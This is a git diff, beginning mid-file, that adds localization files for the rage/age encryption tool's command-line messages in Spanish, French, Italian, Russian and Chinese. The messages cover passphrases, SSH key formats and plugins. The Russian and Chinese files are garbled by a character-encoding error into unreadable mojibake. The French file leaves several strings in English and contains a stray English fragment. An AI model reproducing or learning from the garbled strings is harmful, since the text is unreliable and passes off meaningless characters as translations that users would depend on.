{$filename} + +err-read-invalid-recipient = Destinatario inválido '{$recipient}'. + +## SSH identities + +ssh-passphrase-prompt = Escribe frase contraseña para clave {-openssh} '{$filename}' + +ssh-unsupported-key = Clave SSH no soportada: {$name} + +ssh-insecure-key-format = + Formato de Clave Encriptada inseguro + ------------------------------------ + Antes de {-openssh} version 7.8, su una contraseña era establecida al generar + una nueva clave DS, ECDSA o RSA, {-ssh-keygen} encriptaría dicha clave utilizando + el formato PEM. Este formato de encripción es inseguro y no debería utilizarse + más. + + Puedes migrar tu clave al formato de Clave Privada SSH (que has sido soportado + por {-openssh} desde la versión 6.5, lanzada en enero de 2014) cambiado su frase + contraseña (passphrase) con el siguiente comando: + + {" "}{$change_passphrase} + + Si estas utilizando {-openssh} entre las versiones 6.5 y 7.7 (tal como el {-openssh} + provisto por defecto en Ubuntu 18.04 LTS), puedes usar el siguiente comando para + forzar la generación de claves utilizando el nuevo formato: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Cifrado no soportado para Clave Encriptada SHH + ---------------------------------------------- + {-openssh} soporta internamente varios cifrados diferentes para claves encriptadas, + pero solo ha soportado solo algunos de pocos de ellos. {-rage} soporta todos + los cifrados que {-ssh-keygen} pudiera generar, y esta siendo actualizado + caso a caso para soportar aquellos cifrados no-estándar. Tu clave utiliza + un cifrado no soportado actualmente: ({$cipher}). + + Si quisieras soporte para este tipo de clave, por favor abre un issue aquí: + + {$new_issue} \ No newline at end of file diff --git a/lib/rage/age/i18n/fr/age.ftl b/lib/rage/age/i18n/fr/age.ftl new file mode 100644 index 0000000..e2be564 --- /dev/null +++ b/lib/rage/age/i18n/fr/age.ftl @@ -0,0 +1,185 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = Entrée requise +cli-secret-input-mismatch = Les entrées ne correspondent pas + +cli-passphrase-desc = Tapez votre phrase secrète (laissez vide pour en générer une très sure automatiquement) +cli-passphrase-prompt = Phrase secrète +cli-passphrase-confirm = Confirmez votre phrase secrète + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = tronqué; utilisez un pipe, une redirection ou {-flag-output} pour déchiffrer l'entièreté du fichier + +err-detected-binary = données non impressibles détectées; par précaution, pas d'impression dans le terminal. +rec-detected-binary = Forcez l'impression avec '{-output-stdout}'. + +err-deny-binary-output = refus d'impression de valeurs binaires dans le terminal. +rec-deny-binary-output = Est-ce que vous vouliez utiliser {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = refus d'écraser le fichier existant '{$filename}'. + +## Identity file errors + +err-failed-to-write-output = Echec d'écriture vers la sortie: {$err} + +err-identity-file-contains-plugin = Le ficher d'identité '{$filename}' contient des identités pour '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Essayez d'utiliser {-age-plugin-}{$plugin_name}' pour convertir cette identité en un destinataire. + +err-no-identities-in-file = Aucune identité trouvée dans le fichier '{$filename}'. +err-no-identities-in-stdin = Aucune identité trouvée dans l'entrée standard (stdin). + +## Errors + +err-decryption-failed = Echec du déchiffrement + +err-excessive-work = Facteur d'effort trop grand pour la phrase secrète. +rec-excessive-work = Le déchiffrement prendrait environ {$duration} seconds. + +err-header-invalid = En-tête non valable + +err-header-mac-invalid = Le MAC de l'en-tête est invalide + +err-key-decryption = Echec du déchiffrement d'une clef chiffrée + +err-missing-recipients = Destinataires manquants. + +err-no-matching-keys = Aucune clef correspondante n'a été trouvée + +err-unknown-format = Format {-age} inconnu. +rec-unknown-format = Avez-vous tenté de mettre jour vers la dernière version ? + +err-missing-plugin = Impossible de trouver '{$plugin_name}' dans le PATH. +rec-missing-plugin = Avez-vous installé le plugin ? + +err-plugin-identity = '{$plugin_name}' n'a pas pu utiliser une identité: {$message} +err-plugin-recipient = '{$plugin_name}' n'a pas pu utiliser le destinataire {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' est mort de manière inopinée. +rec-plugin-died-1 = Si vous développez un plugin, utilisez {$env_var} pour plus d'informations. +rec-plugin-died-2 = Attention: ceci imprime des informations de clef privées sur la sortie d'erreur standard. + +err-plugin-multiple = Le plugin a retourné de multiples erreurs: + +err-read-identity-encrypted-without-passphrase = + Le fichier d'identité '{$filename}' est chiffré avec {-age} mais pas avec une phrase secrète. +err-read-identity-not-found = Fichier d'identité introuvable: {$filename} + +err-read-invalid-recipient = Destinataire invalide: '{$recipient}'. + +err-read-invalid-recipients-file = + Le fichier de destinataires '{$filename}' contient des données autres que des destinataires à la ligne {$line_number}. + +err-read-missing-recipients-file = Fichier de destinataires introuvable: {$filename} + +err-read-multiple-stdin = L'entrée standard (stdin) ne peut pas être utilisée pour plus d'une chose. + +err-read-rsa-modulus-too-large = + Module RSA Trop Grand + --------------------- + {-openssh} supporte de nombreuses tailles de modules RSA, mais {-rage} ne supporte que des clefs + publiques d'au plus {$max_size} bits, pour éviter les risques de déni de service (DoS) lors du + chiffrement vers des clefs publiques inconnues. + +err-read-rsa-modulus-too-small = Taille de clef RSA trop petite. + +err-stream-last-chunk-empty = Le dernier morceau du STREAM est vide. chunk is empty. S'il vous plait, faites un bug report, et/ou essayez avec une version plus ancienne de {-rage}. + +## Encrypted identities + +encrypted-passphrase-prompt = Type passphrase for encrypted identity '{$filename}' + +encrypted-warn-no-match = Warning: encrypted identity file '{$filename}' didn't match file's recipients + +## Plugin identities + +plugin-waiting-on-binary = Waiting for {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Type passphrase for {-openssh} key '{$filename}' + +ssh-unsupported-key = Unsupported SSH key: {$name} + +ssh-insecure-key-format = + Insecure Encrypted Key Format + ----------------------------- + Prior to {-openssh} version 7.8, if a password was set when generating a new + DSA, ECDSA, or RSA key, {-ssh-keygen} would encrypt the key using the encrypted + PEM format. This encryption format is insecure and should no longer be used. + + You can migrate your key to the encrypted SSH private key format (which has + been supported by {-openssh} since version 6.5, released in January 2014) by + changing its passphrase with the following command: + + {" "}{$change_passphrase} + + If you are using an {-openssh} version between 6.5 and 7.7 (such as the default + {-openssh} provided on Ubuntu 18.04 LTS), you can use the following command to + force keys to be generated using the new format: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Unsupported Cipher for Encrypted SSH Key + ---------------------------------------- + {-openssh} internally supports several different ciphers for encrypted keys, + but it has only ever directly generated a few of them. {-rage} supports all + ciphers that {-ssh-keygen} might generate, and is being updated on a + case-by-case basis with support for non-standard ciphers. Your key uses a + currently-unsupported cipher ({$cipher}). + + If you would like support for this key type, please open an issue here: + + {$new_issue} + +ssh-unsupported-key-type = + Unsupported SSH Key Type + ------------------------ + {-openssh} supports various different key types, but {-rage} only supports a + subset of these for backwards compatibility, specifically the '{-ssh-rsa}' + and '{-ssh-ed25519}' key types. This SSH key uses the unsupported key type + '{$key_type}'. + +ssh-unsupported-security-key = + Authenficateur physique SSH non supporté + -------------------------------------- + {-openssh} version 8.2p1 a ajouté le support pour les authentificateurs physique {-fido-u2f} + y compris les clefs de sécurité physiques telles que {-yubikeys}. {-rage} ne fonctionne pas + avec ce type de clef SSH, parcque leur protocole ne supporte pas le chiffrement. + Cette clef SSH est du type '{$key_type}' qui n'est pas compatible. + + Si vous avez une clef de sécurité physique, vous devriez utiliser ce plugin: + + {$age_plugin_yubikey_url} + + Une clef de sécurité utilisée avec à la fois {-openssh} et ce plugin aura + une clef SSH publique différente de sa clef destinataire {-age}, car ce plugin + implémente le protocol {-piv}. diff --git a/lib/rage/age/i18n/it/age.ftl b/lib/rage/age/i18n/it/age.ftl new file mode 100644 index 0000000..f8c16ca --- /dev/null +++ b/lib/rage/age/i18n/it/age.ftl @@ -0,0 +1,186 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = È richiesto un input +cli-secret-input-mismatch = Gli input non corrispondono + +cli-passphrase-desc = Digita la passphrase (lascia vuoto per generarne una sicura automaticamente) +cli-passphrase-prompt = Passphrase +cli-passphrase-confirm = Conferma la passphrase + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = troncato; usa una pipe, una redirezione, o {-flag-output} per decifrare l'intero file + +err-detected-binary = rilevati dati non stampabili; rifiuto l'invio dell'output al terminale. +rec-detected-binary = Puoi forzarlo con '{-output-stdout}'. + +err-deny-binary-output = rifiuto l'invio di output binario al terminale. +rec-deny-binary-output = Intendevi usare {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = rifiuto di sovrascrivere il file esistente '{$filename}'. + +## Identity file errors + +err-failed-to-write-output = Impossibile scrivere sull'output: {$err} + +err-identity-file-contains-plugin = Il file '{$filename}' contiene identità per '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Prova a usare '{-age-plugin-}{$plugin_name}' per convertire questa identità in destinatario. + +err-no-identities-in-file = Nessuna identità trovata nel file '{$filename}'. +err-no-identities-in-stdin = Nessuna identità trovata tramite standard input. + +## Errors + +err-decryption-failed = Decifrazione fallita + +err-excessive-work = Parametro di lavoro per la passphrase troppo elevato. +rec-excessive-work = La decifrazione impiegherà circa {$duration} secondi. + +err-header-invalid = L'header è invalido + +err-header-mac-invalid = Il MAC dell'header è invalido + +err-key-decryption = La decifrazione di una chiave crittografata è fallita + +err-missing-recipients = Destinatari mancanti. + +err-no-matching-keys = Nessuna chiave corrispondente trovata + +err-unknown-format = Formato {-age} sconosciuto. +rec-unknown-format = Hai provato ad aggiornare all'ultima versione? + +err-missing-plugin = '{$plugin_name}' non trovato nella PATH. +rec-missing-plugin = Hai installato il plugin? + +err-plugin-identity = '{$plugin_name}' ha fallito gestendo un'identità: {$message} +err-plugin-recipient = '{$plugin_name}' ha fallito gestendo il destinatario {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' ha terminato inaspettatamente. +rec-plugin-died-1 = Se stai sviluppando un plugin, usa {$env_var} per avere più informazioni. +rec-plugin-died-2 = Attenzione: questa opzione stampa chiavi crittografiche private su standard error. + +err-plugin-multiple = Il plugin ha riportato errori multipli: + +err-read-identity-encrypted-without-passphrase = + Il file di identità '{$filename}' è cifrato con {-age} ma non con una passphrase. +err-read-identity-not-found = File di identità non trovato: {$filename} + +err-read-invalid-recipient = Destinatario '{$recipient}' invalido. + +err-read-invalid-recipients-file = + Il file di destinatari '{$filename}' contiene un destinatario invalido alla riga {$line_number}. + +err-read-missing-recipients-file = File di destinatari non trovato: {$filename} + +err-read-multiple-stdin = Standard input non può essere usato per più funzioni contemporaneamente. + +err-read-rsa-modulus-too-large = + Modulo RSA Troppo Grande + --------------------- + {-openssh} supporta varie dimentioni di modulo RSA, ma {-rage} supporta solo + chiavi di {$max_size} bit al massimo, per evitare di consumare risorse eccessive + quando si usano destinatari non fidati. + +err-read-rsa-modulus-too-small = Chiave RSA troppo piccola. + +err-stream-last-chunk-empty = L'ultimo blocco STREAM è vuoto. Per favore segnala questo evento, e/o prova una versione precedente di {-rage}. + +## Encrypted identities + +encrypted-passphrase-prompt = Inserisci la passphrase per l'identità cifrata '{$filename}' + +encrypted-warn-no-match = Attenzione: il file di identità cifrato '{$filename}' non corrisponde a nessuno dei destinatari + +## Plugin identities + +plugin-waiting-on-binary = In attesa di {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Inserisci la passphrase per la chiave {-openssh} '{$filename}' + +ssh-unsupported-key = Chiave SSH non supportata: {$name} + +ssh-insecure-key-format = + Formato della Chiave Crittografica Non Sicuro + --------------------------------------------- + Precedentemente alla versione 7.8 di {-openssh}, se una password veniva + impostata quando si generava una nuova chiave DSA, ECDSA, o RSA, {-ssh-keygen} + avrebbe crittografato la chiave usando un formato PEM cifrato. + + Puoi migrare la tua chiave nel formato della chiave privata SSH + crittografata (supportato dalla versione 6.5 di {-openssh} in poi, rilasciata + nel gennaio 2014) cambiando la passphrase associata con il seguente comando: + + {" "}{$change_passphrase} + + Se stai usando una versione di {-openssh} tra 6.5 e 7.7 (come quella + predefinita di Ubuntu 18.04 LTS), puoi usare il comando seguente per forzare + la generazione delle chiavi nel nuovo formato: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Cifrario Non Supportato per la Chiave SSH Crittografata + ------------------------------------------------------- + {-openssh} supporta internamente diversi cifrari per chiavi crittografate, ma + ne ha generate direttamente solo alcune di queste. {-rage} supporta tutti i + cifrari che {-ssh-keygen} potrebbe generare, e viene aggiornato caso per caso + con il supporto a cifrari non standard. La tua chiave usa un cifrario + attualmente non supportato ({$cipher}). + + Se vorresti il supporto per questo tipo di chiave, per favore apri una + segnalazione qui: + + {$new_issue} + +ssh-unsupported-key-type = + Tipo di Chiave SSH Non Supportato + --------------------------------- + {-openssh} supporta diversi tipi di chiavi, ma {-rage} ne supporta solo alcuni; + specificatamente, i tipi '{-ssh-rsa}' e '{-ssh-ed25519}'. Questa chiave SSH + è del tipo '{$key_type}', che non è supportato. + + +ssh-unsupported-security-key = + Chiave di Sicurezza SSH Non Supportata + -------------------------------------- + {-openssh} versione 8.2p1 ha introdotto supporto per gli autenticatori {-fido-u2f}, + incluse le chiavi di sicurezza come le {-yubikeys}. {-rage} non funziona con questo + tipo di chiavi SSH, perché il loro protocollo non supporta la cifratura. + Questa chiave SSH è del tipo incompatibile '{$key_type}'. + + Se hai una chiave di sicurezza compatibile, puoi usare questo plugin: + + {$age_plugin_yubikey_url} + + Una chiave di sicurezza usata sia con {-openssh} sia con questo plugin avrà + chiavi pubbliche SSH e {-age} separate, perché questo plugin si basa sul + protocollo {-piv}. diff --git a/lib/rage/age/i18n/ru/age.ftl b/lib/rage/age/i18n/ru/age.ftl new file mode 100644 index 0000000..1158cac --- /dev/null +++ b/lib/rage/age/i18n/ru/age.ftl @@ -0,0 +1,187 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = ТребуетÑÑ Ð²Ð²Ð¾Ð´ +cli-secret-input-mismatch = Входы не Ñовпадают + +cli-passphrase-desc = Введите ключевую фразу (оÑтавьте пуÑтой, чтобы автогенерировать безопаÑную фразу) +cli-passphrase-prompt = ÐŸÐ°Ñ€Ð¾Ð»ÑŒÐ½Ð°Ñ Ñ„Ñ€Ð°Ð·Ð° +cli-passphrase-confirm = Подтвердить парольную фразу + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = уÑеченный; иÑпользуйте трубу, перенаправление или {-flag-output} Ð´Ð»Ñ Ñ€Ð°Ñшифровки вÑего файла + +err-detected-binary = обнаружены непечатаемые данные; отказ от вывода в терминал. +rec-detected-binary = Принудительно иÑпользуйте '{-output-stdout}'. + +err-deny-binary-output = отказ от вывода бинарных данных в терминал. +rec-deny-binary-output = Возможно, вы хотели иÑпользовать {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = отказ от перезапиÑи ÑущеÑтвующего файла '{$filename}'. + +## Identity file errors + +err-failed-to-write-output = Ðе удалоÑÑŒ запиÑать в выходной файл: {$err} + +err-identity-file-contains-plugin = Файл идентификации '{$filename}' Ñодержит идентификаторы Ð´Ð»Ñ '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Попробуйте иÑпользовать '{-age-plugin-}{$plugin_name}' Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтого идентификатора в получателÑ. + +err-no-identities-in-file = Идентификаторы в файле '{$filename}' не найдены. +err-no-identities-in-stdin = Идентификаторы в Ñтандартном вводе не найдены. + +## Errors + +err-decryption-failed = Ошибка Ð´ÐµÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ + +err-excessive-work = Чрезмерный параметр работы Ð´Ð»Ñ Ð¿Ð°Ñ€Ð¾Ð»ÑŒÐ½Ð¾Ð¹ фразы. +rec-excessive-work = Дешифрование займет примерно {$duration} Ñекунд. + +err-header-invalid = ÐедейÑтвительный заголовок + +err-header-mac-invalid = ÐедейÑтвительный MAC заголовка + +err-key-decryption = Ðе удалоÑÑŒ раÑшифровать зашифрованный ключ + +err-missing-recipients = ОтÑутÑтвуют получатели. + +err-no-matching-keys = Ðе найдены подходÑщие ключи + +err-unknown-format = ÐеизвеÑтный формат {-age}. +rec-unknown-format = Попробуйте обновитьÑÑ Ð´Ð¾ поÑледней верÑии. + +err-missing-plugin = Ðе удалоÑÑŒ найти '{$plugin_name}' в PATH. +rec-missing-plugin = УÑтановили ли вы плагин? + +err-plugin-identity = '{$plugin_name}' не Ñмог иÑпользовать идентификатор: {$message} +err-plugin-recipient = '{$plugin_name}' не Ñмог иÑпользовать Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' неожиданно завершил работу. +rec-plugin-died-1 = ЕÑли вы разрабатываете плагин, запуÑтите Ñ Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð¾Ð¹ Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ {$env_var} Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации. +rec-plugin-died-2 = Внимание: Ñто печатает чаÑтную информацию ключа ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Ñтандартный вывод ошибок. + +err-plugin-multiple = Плагин вернул неÑколько ошибок: + +err-read-identity-encrypted-without-passphrase = + Файл идентификации '{$filename}' зашифрован Ñ Ð¸Ñпользованием {-age}, но без парольной фразы. +err-read-identity-not-found = Файл идентификации не найден: {$filename} + +err-read-invalid-recipient = ÐедейÑтвительный получатель '{$recipient}'. + +err-read-invalid-recipients-file = + Файл получателей '{$filename}' Ñодержит данные, не отноÑÑщиеÑÑ Ðº получателÑм, в Ñтроке {$line_number}. + +err-read-missing-recipients-file = Файл получателей не найден: {$filename} + +err-read-multiple-stdin = Стандартный ввод не может иÑпользоватьÑÑ Ð´Ð»Ñ Ð½ÐµÑкольких целей. + +err-read-rsa-modulus-too-large = + Слишком большой модуль RSA + --------------------- + {-openssh} поддерживает различные размеры Ð¼Ð¾Ð´ÑƒÐ»Ñ RSA, но {-rage} поддерживает + только публичные ключи макÑимум {$max_size} бит, чтобы предотвратить уÑÐ»Ð¾Ð²Ð¸Ñ + отказа в обÑлуживании (DoS) при шифровании Ð´Ð»Ñ Ð½ÐµÐ½Ð°Ð´ÐµÐ¶Ð½Ñ‹Ñ… публичных ключей. + +err-read-rsa-modulus-too-small = Размер ключа RSA Ñлишком мал. + +err-stream-last-chunk-empty = ПоÑледний чанк STREAM пуÑÑ‚. ПожалуйÑта, Ñообщите об Ñтом и/или попробуйте Ñтарую {-rage} верÑию. + +## Encrypted identities + +encrypted-passphrase-prompt = Введите парольную фразу Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð¹ идентификации '{$filename}' + +encrypted-warn-no-match = Предупреждение: зашифрованный файл идентификации '{$filename}' не ÑоответÑтвует получателÑм файла + +## Plugin identities + +plugin-waiting-on-binary = Ожидание {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Введите парольную фразу Ð´Ð»Ñ {-openssh} ключа '{$filename}' + +ssh-unsupported-key = Ðеподдерживаемый SSH ключ: {$name} + +ssh-insecure-key-format = + ÐебезопаÑный формат зашифрованного ключа + ----------------------------- + До верÑии {-openssh} 7.8, еÑли при Ñоздании нового ключа DSA, ECDSA или RSA + был уÑтановлен пароль, {-ssh-keygen} шифровал ключ, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ð¹ + формат PEM. Этот формат ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÑƒÑтарел и не должен иÑпользоватьÑÑ. + + Ð’Ñ‹ можете мигрировать Ñвой ключ в зашифрованный формат чаÑтного ключа SSH + (который поддерживаетÑÑ Ñ Ð²ÐµÑ€Ñии 6.5, выпущенной в Ñнваре 2014 года), + изменив его парольную фразу Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñледующей команды: + + {" "}{$change_passphrase} + + ЕÑли вы иÑпользуете верÑию {-openssh} между 6.5 и 7.7 (например, Ñтандартную + верÑию {-openssh} в Ubuntu 18.04 LTS), вы можете иÑпользовать Ñледующую + команду Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ¹ Ñ Ð¸Ñпользованием нового формата: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Ðеподдерживаемый шифр Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð³Ð¾ SSH ключа + ---------------------------------------- + {-openssh} внутренне поддерживает неÑколько различных шифров Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… + ключей, но только некоторые из них генерируютÑÑ Ð½Ð°Ð¿Ñ€Ñмую. {-rage} поддерживает + вÑе шифры, которые может генерировать {-ssh-keygen}, и обновлÑетÑÑ Ð¿Ð¾ мере + необходимоÑти Ð´Ð»Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸ неÑтандартных шифров. Ваш ключ иÑпользует в + наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½ÐµÐ¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ñ‹Ð¹ шифр ({$cipher}). + + ЕÑли вы хотите поддержки Ñтого типа ключа, пожалуйÑта, откройте проблему здеÑÑŒ: + + {$new_issue} + +ssh-unsupported-key-type = + Ðеподдерживаемый тип SSH ключа + ------------------------ + {-openssh} поддерживает различные типы ключей, но {-rage} поддерживает только + подмножеÑтво Ñтих Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ñ‚Ð½Ð¾Ð¹ ÑовмеÑтимоÑти, в чаÑтноÑти типы ключей + '{-ssh-rsa}' и '{-ssh-ed25519}'. Этот SSH ключ иÑпользует неподдерживаемый + тип ключа '{$key_type}'. + +ssh-unsupported-security-key = + Ðеподдерживаемый аппаратный аутентификатор SSH + -------------------------------------- + ВерÑÐ¸Ñ {-openssh} 8.2p1 добавила поддержку аппаратных аутентификаторов + {-fido-u2f}, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð°Ð¿Ð¿Ð°Ñ€Ð°Ñ‚Ð½Ñ‹Ðµ ключи безопаÑноÑти, такие как {-yubikeys}. + {-rage} не работает Ñ Ñтими типами ключей SSH, потому что их протокол не + поддерживает шифрование. Этот SSH ключ иÑпользует неÑовмеÑтимый тип + '{$key_type}'. + + ЕÑли у Ð²Ð°Ñ ÐµÑть ÑовмеÑтимый аппаратный ключ безопаÑноÑти, вы должны + иÑпользовать Ñтот плагин: + + {$age_plugin_yubikey_url} + + Ðппаратный ключ безопаÑноÑти, иÑпользуемый одновременно Ñ {-openssh} и + Ñтим плагином будет иметь отдельный публичный SSH-ключ и Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ + ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ {-age}, потому что плагин реализует протокол {-piv}. diff --git a/lib/rage/age/i18n/zh-CN/age.ftl b/lib/rage/age/i18n/zh-CN/age.ftl new file mode 100644 index 0000000..d4aefd1 --- /dev/null +++ b/lib/rage/age/i18n/zh-CN/age.ftl @@ -0,0 +1,102 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = 必输入内容 +cli-secret-input-mismatch = 所输内容ä¸åŒ¹é… + +cli-passphrase-desc = 输入密ç çŸ­è¯­ (留空则自动生æˆå¼ºå¯†ç çŸ­è¯­) +cli-passphrase-prompt = 密ç çŸ­è¯­ +cli-passphrase-confirm = 确认密ç çŸ­è¯­ + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = è¢«æˆªæ–­ï¼›è¯·é‡‡ç”¨ç®¡é“ ï¼ˆpipe)ã€é‡å®šå‘ (redirectï¼‰ã€æˆ– {-flag-output} 以解密整个文件 + +err-detected-binary = 检测到未能打å°çš„æ•°æ®ï¼›æ‹’ç»è¾“出至终端。 +rec-detected-binary = 采用 '{-output-stdout}' 强制打å°ã€‚ + +err-deny-binary-output = æ‹’ç»è¾“出二进制内容至终端。 +rec-deny-binary-output = æ‚¨æ˜¯ä¸æ˜¯è¦é‡‡ç”¨ {-flag-armor}? {rec-detected-binary} + +## Errors + +err-decryption-failed = 解密失败 + +err-excessive-work = 密ç çŸ­è¯­çš„å·¥ä½œå‚æ•° (work parameter) 过高。 +rec-excessive-work = è§£å¯†å¤§çº¦éœ€è¦ {$duration} ç§’ + +err-header-invalid = 标头无效 + +err-header-mac-invalid = 标头消æ¯è®¤è¯ç  (MAC) 无效 + +err-key-decryption = 未能解密加密密钥 + +err-missing-recipients = 缺少接收方。 + +err-no-matching-keys = 未æœç´¢åˆ°åŒ¹é…的密钥 + +err-unknown-format = 未知的 {-age} æ ¼å¼ã€‚ +rec-unknown-format = 您å°è¯•更新至最新版本了å—? + +err-read-identity-not-found = 未æœç´¢åˆ°èº«ä»½æ–‡ä»¶ï¼š {$filename} + +err-read-invalid-recipient = 无效接收方 '{$recipient}'。 + +## SSH identities + +ssh-passphrase-prompt = 输入 {-openssh} 密钥 '{$filename}' 的密ç çŸ­è¯­ + +ssh-unsupported-key = 该 SSH 身份ä¸å—支æŒï¼š {$name} + +ssh-insecure-key-format = + ä¸å®‰å…¨çš„ç§é’¥æ ¼å¼ + -------------- + 在 {-openssh} 7.8 版本之å‰ï¼Œè‹¥åœ¨ç”Ÿæˆæ–° DSAã€ECDSAã€æˆ– RSA 密钥时设定å£ä»¤, {-ssh-keygen} 会使用 PEM åŠ å¯†æ ¼å¼ + æ¥åŠ å¯†å¯†é’¥ã€‚ è¯¥åŠ å¯†æ ¼å¼æ˜¯ä¸å®‰å…¨çš„,且ä¸åº”继续使用。 + + 若您想将密钥è¿ç§»è‡³åР坆 SSH ç§é’¥æ ¼å¼ (该格å¼ä»Ž 2014 一月份的 {-openssh} 6.5 ç‰ˆæœ¬å·²å—æ”¯æŒ), å¯é‡‡ç”¨æ­¤å‘½ä»¤ä»¥æ›´æ¢ + 它的密ç çŸ­è¯­: + + {" "}{$change_passphrase} + + 若您目å‰ä½¿ç”¨çš„æ˜¯ {-openssh} 6.5 —— 7.7 版本 (例如 Ubuntu 18.04 LTS 默认æä¾›çš„ {-openssh}), å¯é‡‡ç”¨æ­¤å‘½ä»¤ä»¥ + 强制使用新格å¼ç”Ÿæˆå¯†é’¥ï¼š + + {" "}{$gen_new} + +ssh-unsupported-cipher = + æœªå—æ”¯æŒçš„ SSH åŠ å¯†å¯†é’¥å¯†ç  + ------------------------ + {-openssh} 内部支æŒå‡ ç§ä¸åŒçš„åŠ å¯†é’¥å¯†ç  ï¼ˆciphers),ä½†å…¶ä¸­åªæœ‰å°‘数是直接生æˆçš„。{-rage} æ”¯æŒæ‰€æœ‰ + {-ssh-keygen} å¯ç”Ÿæˆçš„密ç ï¼Œ å¹¶ä¸”æ­£åœ¨è¿›è¡Œæ›´æ–°ï¼Œä»¥åœ¨ä¸ªæ¡ˆåŸºç¡€ä¸Šæ‰©å±•éžæ ‡å‡†å¯†ç æ”¯æŒã€‚æ‚¨çš„å¯†é’¥ä½¿ç”¨çš„å¯†ç  ({$cipher}) + 当å‰ä¸å—支æŒã€‚ + + 若您希望该密钥类型å¯å—支æŒ, 